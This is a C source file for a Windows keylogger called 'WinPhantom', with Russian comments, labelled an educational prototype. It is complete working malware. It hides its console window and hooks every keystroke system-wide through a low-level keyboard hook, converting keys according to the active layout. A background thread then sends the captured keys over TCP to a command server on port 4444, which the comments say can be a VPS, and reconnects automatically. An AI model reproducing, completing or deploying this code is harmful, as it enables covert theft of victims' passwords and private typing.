winphantom.c

/**
 * ============================================================================
 *                         WinPhantom Keylogger Prototype
 * ============================================================================
 * Обучающий и исследовательский прототип низкоуровневого кейлоггера для Windows.
 * Разработано строго в учебных целях и для демонстрации механизмов защиты.
 *
 * Язык: C (C99/C11)
 * ОС: Windows 10/11
 * Компилятор: MinGW-w64 (gcc) или MSVC
 * Линковка: ws2_32 (Winsock2), user32, kernel32
 * ============================================================================
 */

#ifndef UNICODE
#define UNICODE
#endif
#ifndef _UNICODE
#define _UNICODE
#endif

#define WIN32_LEAN_AND_MEAN

#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/*
 * ============================================================================
 *                         НАСТРОЙКИ И КОНСТАНТЫ
 * ============================================================================
 */
#define TARGET_IP        "127.0.0.1"  // IP-адрес управляющего сервера (VPS / локальный хост)
#define TARGET_PORT      "4444"       // Порт сервера (согласно ТЗ: 4444)
#define BUFFER_SIZE      4096         // Максимальный размер буфера накопления
#define FLUSH_THRESHOLD  32           // Порог автоматической отправки (в символах)
#define RECONNECT_DELAY  5000         // Задержка перед повторным подключением (в мс)

/*
 * ============================================================================
 *                     ГЛОБАЛЬНЫЕ СТРУКТУРЫ И ПЕРЕМЕННЫЕ
 * ============================================================================
 */

// Синхронизированный буфер для накопления нажатых клавиш
typedef struct {
    char data[BUFFER_SIZE];           // Буфер символов (в UTF-8 для поддержки кириллицы)
    int length;                       // Текущая длина данных в буфере
    BOOL should_flush;                // Флаг принудительной отправки (например, после [ENTER])
    CRITICAL_SECTION lock;            // Критическая секция для потокобезопасного доступа
} SyncBuffer;

static SyncBuffer g_buffer;           // Глобальный буфер данных
static HHOOK g_hook = NULL;           // Дескриптор установленного хука клавиатуры
static SOCKET g_socket = INVALID_SOCKET; // Дескриптор сетевого сокета
static BOOL g_running = TRUE;         // Флаг работы программы для фонового потока

/*
 * ============================================================================
 *                        ПРОТОТИПЫ ФУНКЦИЙ
 * ============================================================================
 */
void HideConsole(void);
BOOL InitWinsock(void);
void CleanupWinsock(void);
DWORD WINAPI NetworkThreadProc(LPVOID lpParam);
BOOL ConnectToServer(void);
void SendBufferData(void);
void AppendToBuffer(const char* text);
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);
void TranslateKey(DWORD vkCode, DWORD scanCode, DWORD flags);
void SetHook(void);
void RemoveHook(void);

/*
 * ============================================================================
 *                             ОСНОВНОЙ ЦИКЛ (MAIN)
 * ============================================================================
 * Основная точка входа в приложение. Инициализирует компоненты, скрывает консоль,
 * запускает фоновый сетевой поток и входит в цикл обработки сообщений Windows,
 * необходимый для функционирования клавиатурных хуков.
 */
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    // 1. Скрываем консольное окно, чтобы программа работала незаметно в фоне
    HideConsole();

    // 2. Инициализируем критическую секцию для безопасного обмена данными между потоками
    // Критическая секция предотвращает состояние гонки (race conditions) при одновременной
    // записи клавиш из потока хука и отправке данных из сетевого потока.
    InitializeCriticalSection(&g_buffer.lock);
    g_buffer.length = 0;
    g_buffer.should_flush = FALSE;
    memset(g_buffer.data, 0, BUFFER_SIZE);

    // 3. Инициализируем библиотеку сокетов Windows (Winsock)
    if (!InitWinsock()) {
        DeleteCriticalSection(&g_buffer.lock);
        return 1;
    }

    // 4. Создаем фоновый рабочий поток для сетевых операций (Exfiltration Thread)
    // Низкоуровневые хуки клавиатуры (WH_KEYBOARD_LL) работают в контексте того же потока,
    // который их установил, и КРИТИЧЕСКИ чувствительны к задержкам. Если бы мы пытались
    // подключаться к сети или отправлять данные напрямую из callback-функции хука,
    // вся операционная система (ввод пользователя) зависала бы при сетевых лагах.
    // Вынос сети в отдельный поток полностью решает эту проблему.
    HANDLE hNetThread = CreateThread(
        NULL,                 // Атрибуты безопасности по умолчанию
        0,                    // Размер стека по умолчанию (1 МБ)
        NetworkThreadProc,    // Указатель на функцию потока
        NULL,                 // Параметр, передаваемый в поток
        0,                    // Флаги создания (запустить немедленно)
        NULL                  // Идентификатор потока (не требуется)
    );

    if (hNetThread == NULL) {
        CleanupWinsock();
        DeleteCriticalSection(&g_buffer.lock);
        return 1;
    }

    // 5. Устанавливаем глобальный клавиатурный хук
    SetHook();

    // 6. Запускаем стандартный цикл обработки сообщений (Message Loop)
    // Низкоуровневые хуки Windows доставляются через очередь сообщений потока (Thread Message Queue).
    // Без этого цикла функция LowLevelKeyboardProc никогда не будет вызвана операционной системой.
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    // 7. Корректное завершение работы (Cleanup)
    g_running = FALSE;
    RemoveHook();

    // Ожидаем завершения сетевого потока перед освобождением ресурсов
    WaitForSingleObject(hNetThread, 3000);
    CloseHandle(hNetThread);

    CleanupWinsock();
    DeleteCriticalSection(&g_buffer.lock);

    return 0;
}

/*
 * ============================================================================
 *                        РЕАЛИЗАЦИЯ СЕТЕВОГО МОДУЛЯ (WINSOCK2)
 * ============================================================================
 */

/**
 * Инициализация Winsock API.
 * Запрашивает версию Winsock 2.2 у операционной системы.
 */
BOOL InitWinsock(void) {
    WSADATA wsaData;
    // WSAStartup инициализирует использование библиотеки Winsock.
    // MAKEWORD(2, 2) запрашивает версию 2.2 — современный стандарт сокетов в Windows.
    int err = WSAStartup(MAKEWORD(2, 2), &wsaData);
    if (err != 0) {
        return FALSE;
    }
    return TRUE;
}

/**
 * Освобождение ресурсов Winsock.
 */
void CleanupWinsock(void) {
    if (g_socket != INVALID_SOCKET) {
        closesocket(g_socket);
        g_socket = INVALID_SOCKET;
    }
    WSACleanup();
}

/**
 * Попытка установить TCP-соединение с удаленным сервером.
 * Реализует парсинг адреса и системный вызов connect().
 */
BOOL ConnectToServer(void) {
    struct addrinfo hints;
    struct addrinfo* result = NULL;
    struct addrinfo* ptr = NULL;

    memset(&hints, 0, sizeof(hints));
    hints.ai_family = AF_UNSPEC;     // Поддержка как IPv4, так и IPv6
    hints.ai_socktype = SOCK_STREAM; // Ориентированный на соединение поток (TCP)
    hints.ai_protocol = IPPROTO_TCP; // Протокол TCP

    // getaddrinfo преобразует IP-адрес/имя хоста и порт в структуру sockaddr.
    // Это избавляет от необходимости вручную заполнять sockaddr_in и вызывать inet_addr.
    int res = getaddrinfo(TARGET_IP, TARGET_PORT, &hints, &result);
    if (res != 0) {
        return FALSE;
    }

    // Проходим по списку полученных адресов и пытаемся подключиться к первому доступному
    for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {
        g_socket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);
        if (g_socket == INVALID_SOCKET) {
            continue;
        }

        // Попытка установить соединение с сервером
        res = connect(g_socket, ptr->ai_addr, (int)ptr->ai_addrlen);
        if (res == SOCKET_ERROR) {
            closesocket(g_socket);
            g_socket = INVALID_SOCKET;
            continue;
        }
        break; // Успешно подключились!
    }

    freeaddrinfo(result); // Освобождаем память, выделенную getaddrinfo

    return (g_socket != INVALID_SOCKET);
}

/**
 * Фоновая процедура сетевого потока.
 * Реализует бесконечный цикл с автоматическим переподключением (reconnect loop)
 * и отправкой накопленных данных из буфера.
 */
DWORD WINAPI NetworkThreadProc(LPVOID lpParam) {
    (void)lpParam; // Подавление предупреждения о неиспользуемом параметре

    while (g_running) {
        // Если сокет не создан, пытаемся подключиться к серверу
        if (g_socket == INVALID_SOCKET) {
            if (!ConnectToServer()) {
                // Если подключение не удалось, ждем перед следующей попыткой
                Sleep(RECONNECT_DELAY);
                continue;
            }
        }

        // Периодическая проверка буфера и отправка данных
        BOOL need_send = FALSE;

        EnterCriticalSection(&g_buffer.lock);
        // Отправляем данные, если:
        // 1. Накопилось достаточное количество символов (FLUSH_THRESHOLD = 32)
        // 2. Или был нажат ENTER (should_flush == TRUE)
        if (g_buffer.length >= FLUSH_THRESHOLD || g_buffer.should_flush) {
            if (g_buffer.length > 0) {
                need_send = TRUE;
            }
        }
        LeaveCriticalSection(&g_buffer.lock);

        if (need_send) {
            SendBufferData();
        }

        // Небольшая пауза для снижения нагрузки на процессор (Polling rate)
        Sleep(100);
    }

    return 0;
}

/**
 * Извлечение данных из буфера и их отправка по TCP-сокету.
 * В случае сбоя сети сокет закрывается, инициируя цикл переподключения.
 */
void SendBufferData(void) {
    char temp_buf[BUFFER_SIZE];
    int send_len = 0;

    // Копируем данные из глобального буфера во временный под блокировкой,
    // чтобы минимизировать время удержания критической секции.
    EnterCriticalSection(&g_buffer.lock);
    memcpy(temp_buf, g_buffer.data, g_buffer.length);
    send_len = g_buffer.length;
    
    // Очищаем глобальный буфер
    g_buffer.length = 0;
    g_buffer.should_flush = FALSE;
    memset(g_buffer.data, 0, BUFFER_SIZE);
    LeaveCriticalSection(&g_buffer.lock);

    if (send_len <= 0) return;

    // Отправляем данные через сокет
    int bytes_sent = send(g_socket, temp_buf, send_len, 0);
    
    // Если произошла ошибка (например, сервер закрыл соединение),
    // сбрасываем сокет в INVALID_SOCKET. Фоновый поток автоматически восстановит соединение.
    if (bytes_sent == SOCKET_ERROR || bytes_sent == 0) {
        closesocket(g_socket);
        g_socket = INVALID_SOCKET;

        // Возвращаем недоставленные данные обратно в буфер, чтобы не потерять их
        EnterCriticalSection(&g_buffer.lock);
        // Проверяем, поместятся ли возвращаемые данные
        if (g_buffer.length + send_len < BUFFER_SIZE) {
            // Сдвигаем текущие новые данные вправо
            memmove(g_buffer.data + send_len, g_buffer.data, g_buffer.length);
            // Копируем старые недоставленные данные в начало
            memcpy(g_buffer.data, temp_buf, send_len);
            g_buffer.length += send_len;
        }
        LeaveCriticalSection(&g_buffer.lock);
    }
}

/**
 * Безопасное добавление строки в буфер с синхронизацией.
 */
void AppendToBuffer(const char* text) {
    int len = (int)strlen(text);
    if (len <= 0) return;

    EnterCriticalSection(&g_buffer.lock);
    
    // Проверяем, не переполнится ли буфер.
    // Если буфер заполнен почти полностью, принудительно отправляем старые данные.
    if (g_buffer.length + len >= BUFFER_SIZE - 1) {
        LeaveCriticalSection(&g_buffer.lock);
        SendBufferData(); // Сбрасываем текущие данные
        EnterCriticalSection(&g_buffer.lock);
    }

    // Добавляем новые данные в буфер
    if (g_buffer.length + len < BUFFER_SIZE - 1) {
        memcpy(g_buffer.data + g_buffer.length, text, len);
        g_buffer.length += len;
        g_buffer.data[g_buffer.length] = '\0'; // Обеспечиваем null-terminated строку
    }

    LeaveCriticalSection(&g_buffer.lock);
}

/*
 * ============================================================================
 *                    МОДУЛЬ ПЕРЕХВАТА КЛАВИШ (KEYBOARD HOOK)
 * ============================================================================
 */

/**
 * Установка низкоуровневого хука клавиатуры.
 */
void SetHook(void) {
    // WH_KEYBOARD_LL — тип хука для мониторинга низкоуровневых событий ввода клавиатуры.
    // LowLevelKeyboardProc — указатель на нашу функцию обратного вызова (callback).
    // GetModuleHandle(NULL) — дескриптор текущего исполняемого модуля, содержащего callback.
    // 0 — хук глобальный (ассоциирован со всеми существующими потоками в системе).
    g_hook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, GetModuleHandle(NULL), 0);
}

/**
 * Снятие хука клавиатуры.
 */
void RemoveHook(void) {
    if (g_hook != NULL) {
        UnhookWindowsHookEx(g_hook);
        g_hook = NULL;
    }
}

/**
 * Функция трансляции виртуальных кодов клавиш в читаемый UTF-8 формат
 * с поддержкой текущей раскладки активного окна.
 */
void TranslateKey(DWORD vkCode, DWORD scanCode, DWORD flags) {
    // 1. Обработка управляющих и служебных клавиш
    switch (vkCode) {
        case VK_RETURN:
            AppendToBuffer("[ENTER]\n");
            // Устанавливаем флаг немедленной отправки буфера при нажатии Enter
            EnterCriticalSection(&g_buffer.lock);
            g_buffer.should_flush = TRUE;
            LeaveCriticalSection(&g_buffer.lock);
            return;
        case VK_BACK:
            AppendToBuffer("[BACKSPACE]");
            return;
        case VK_TAB:
            AppendToBuffer("[TAB]");
            return;
        case VK_ESCAPE:
            AppendToBuffer("[ESC]");
            return;
        case VK_SPACE:
            AppendToBuffer(" "); // Пробел записываем как обычный символ пробела для читаемости
            return;
        case VK_DELETE:
            AppendToBuffer("[DEL]");
            return;
        case VK_UP:
            AppendToBuffer("[UP]");
            return;
        case VK_DOWN:
            AppendToBuffer("[DOWN]");
            return;
        case VK_LEFT:
            AppendToBuffer("[LEFT]");
            return;
        case VK_RIGHT:
            AppendToBuffer("[RIGHT]");
            return;
        case VK_LCONTROL:
        case VK_RCONTROL:
        case VK_CONTROL:
            AppendToBuffer("[CTRL]");
            return;
        case VK_LMENU:
        case VK_RMENU:
        case VK_MENU:
            AppendToBuffer("[ALT]");
            return;
        case VK_LWIN:
        case VK_RWIN:
            AppendToBuffer("[WIN]");
            return;
        // Модификаторы Shift не выводим отдельно, так как ToUnicodeEx автоматически
        // учтет их состояние для изменения регистра букв.
        case VK_SHIFT:
        case VK_LSHIFT:
        case VK_RSHIFT:
        case VK_CAPITAL:
            return; // Игнорируем изолированное нажатие Shift/Caps
        default:
            break;
    }

    // 2. Раскладко-зависимый перевод печатных символов
    // Получаем дескриптор активного окна на переднем плане
    HWND hForegroundWnd = GetForegroundWindow();
    DWORD dwThreadId = 0;
    HKL hLayout = NULL;

    if (hForegroundWnd != NULL) {
        // Получаем идентификатор потока активного окна
        dwThreadId = GetWindowThreadProcessId(hForegroundWnd, NULL);
        // Получаем раскладку клавиатуры для этого потока
        hLayout = GetKeyboardLayout(dwThreadId);
    } else {
        hLayout = GetKeyboardLayout(0);
    }

    // Опрашиваем физическое состояние клавиш Shift и Caps Lock
    BYTE keyState[256] = {0};
    if (GetAsyncKeyState(VK_SHIFT) & 0x8000) {
        keyState[VK_SHIFT] = 0x80;
    }
    if (GetKeyState(VK_CAPITAL) & 0x0001) {
        keyState[VK_CAPITAL] = 0x01; // Младший бит указывает на то, что Caps Lock включен (Toggle)
    }
    if (GetAsyncKeyState(VK_CONTROL) & 0x8000) {
        keyState[VK_CONTROL] = 0x80;
    }
    if (GetAsyncKeyState(VK_MENU) & 0x8000) {
        keyState[VK_MENU] = 0x80;
    }

    // Массив для вывода символа (ToUnicodeEx возвращает UTF-16 символы)
    WCHAR wBuffer[10] = {0};
    
    // ToUnicodeEx транслирует виртуальный код клавиши и состояние клавиатуры
    // в соответствующий символ Unicode, учитывая активную раскладку ввода (например, RU/EN).
    int translationResult = ToUnicodeEx(
        vkCode,         // Код виртуальной клавиши
        scanCode,       // Скан-код клавиши
        keyState,       // Состояние всех клавиш (Shift, Caps Lock)
        wBuffer,        // Буфер для результирующего символа Unicode
        9,              // Максимальный размер буфера в wchar_t
        flags,          // Флаги (передаем из KBDLLHOOKSTRUCT)
        hLayout         // Раскладка клавиатуры
    );

    if (translationResult > 0) {
        // Преобразуем полученную UTF-16 строку в UTF-8 для корректной передачи по сети
        char utf8Buffer[32] = {0};
        int bytesConverted = WideCharToMultiByte(
            CP_UTF8,            // Кодовая страница UTF-8
            0,                  // Флаги преобразования по умолчанию
            wBuffer,            // Исходная Wide-строка
            translationResult,  // Длина исходной строки
            utf8Buffer,         // Результирующий буфер
            sizeof(utf8Buffer) - 1,
            NULL,               // Символ по умолчанию
            NULL                // Флаг использования символа по умолчанию
        );

        if (bytesConverted > 0) {
            utf8Buffer[bytesConverted] = '\0';
            AppendToBuffer(utf8Buffer);
        }
    }
}

/**
 * Колбэк-функция клавиатурного хука (LowLevelKeyboardProc).
 * Вызывается операционной системой Windows каждый раз, когда происходит событие ввода (нажатие/отпускание клавиши).
 */
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    // Если nCode < 0, мы ОБЯЗАНЫ передать сообщение дальше без обработки,
    // вызвав CallNextHookEx, согласно документации MSDN.
    if (nCode >= 0) {
        // Нас интересуют только события нажатия клавиш (WM_KEYDOWN или WM_SYSKEYDOWN для системных комбинаций типа Alt+Key)
        if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
            // lParam содержит указатель на структуру KBDLLHOOKSTRUCT
            PKBDLLHOOKSTRUCT pKeyStruct = (PKBDLLHOOKSTRUCT)lParam;
            if (pKeyStruct != NULL) {
                // Вызываем функцию трансляции клавиши
                TranslateKey(pKeyStruct->vkCode, pKeyStruct->scanCode, pKeyStruct->flags);
            }
        }
    }

    // CallNextHookEx передает событие следующему хуку в цепочке.
    // Если этого не сделать, мы заблокируем ввод для всей системы (клавиатура перестанет работать во всех окнах!).
    return CallNextHookEx(g_hook, nCode, wParam, lParam);
}

/*
 * ============================================================================
 *                         УТИЛИТАРНЫЕ ФУНКЦИИ
 * ============================================================================
 */

/**
 * Скрытие консольного окна приложения.
 */
void HideConsole(void) {
    // Находим хендл текущего консольного окна
    HWND hConsole = GetConsoleWindow();
    if (hConsole != NULL) {
        // Скрываем окно с экрана и убираем его из панели задач
        ShowWindow(hConsole, SW_HIDE);
    }
}